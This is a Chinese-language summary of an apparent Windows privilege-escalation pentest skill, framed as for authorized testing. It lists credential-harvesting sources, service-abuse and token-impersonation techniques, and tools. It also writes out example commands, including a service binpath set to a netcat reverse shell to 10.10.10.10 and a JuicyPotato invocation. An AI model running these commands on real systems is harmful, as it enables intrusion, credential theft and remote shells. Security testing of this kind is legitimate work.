用途：在获得书面授权的渗透测试中，系统化地发现并利用Windows权限提升漏洞，将普通用户权限提升至Administrator或SYSTEM。
主要能力：覆盖系统与用户枚举、凭据收集（SAM/SYSTEM、注册表、Unattend.xml、WiFi密码、PowerShell历史）、服务利用（弱服务权限、未加引号服务路径、AlwaysInstallElevated）、令牌模拟（SeImpersonate等特权与JuicyPotato、PrintSpoofer等）、内核漏洞利用及DLL劫持、runas保存凭据、WSL提权等附加技术。提供WinPEAS、PowerUp、Seatbelt、Watson等工具参考与常见漏洞检查命令。
使用方式：需先取得标准用户Shell或RDP访问、枚举工具与利用二进制。基本流程为：systeminfo、whoami /priv、net user等做枚举；用accesschk、wmic service检查服务配置；用reg query、findstr搜索凭据；通过sc config、msiexec、JuicyPotato等执行利用；最终获取高权限Shell并记录报告。示例命令：sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"；whoami /priv；JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *。
适用场景：Windows主机渗透测试中的本地提权环节，适合需要系统枚举与多种提权向量排查的授权测试。
限制：内核漏洞可能导致系统不稳定，部分利用依赖特定Windows版本；AV/EDR可能拦截常见工具；令牌模拟需要服务账户上下文；部分技术需GUI访问；凭据转储和服务修改会触发安全告警与事件日志。必须仅在有书面授权的系统上使用，避免影响生产系统。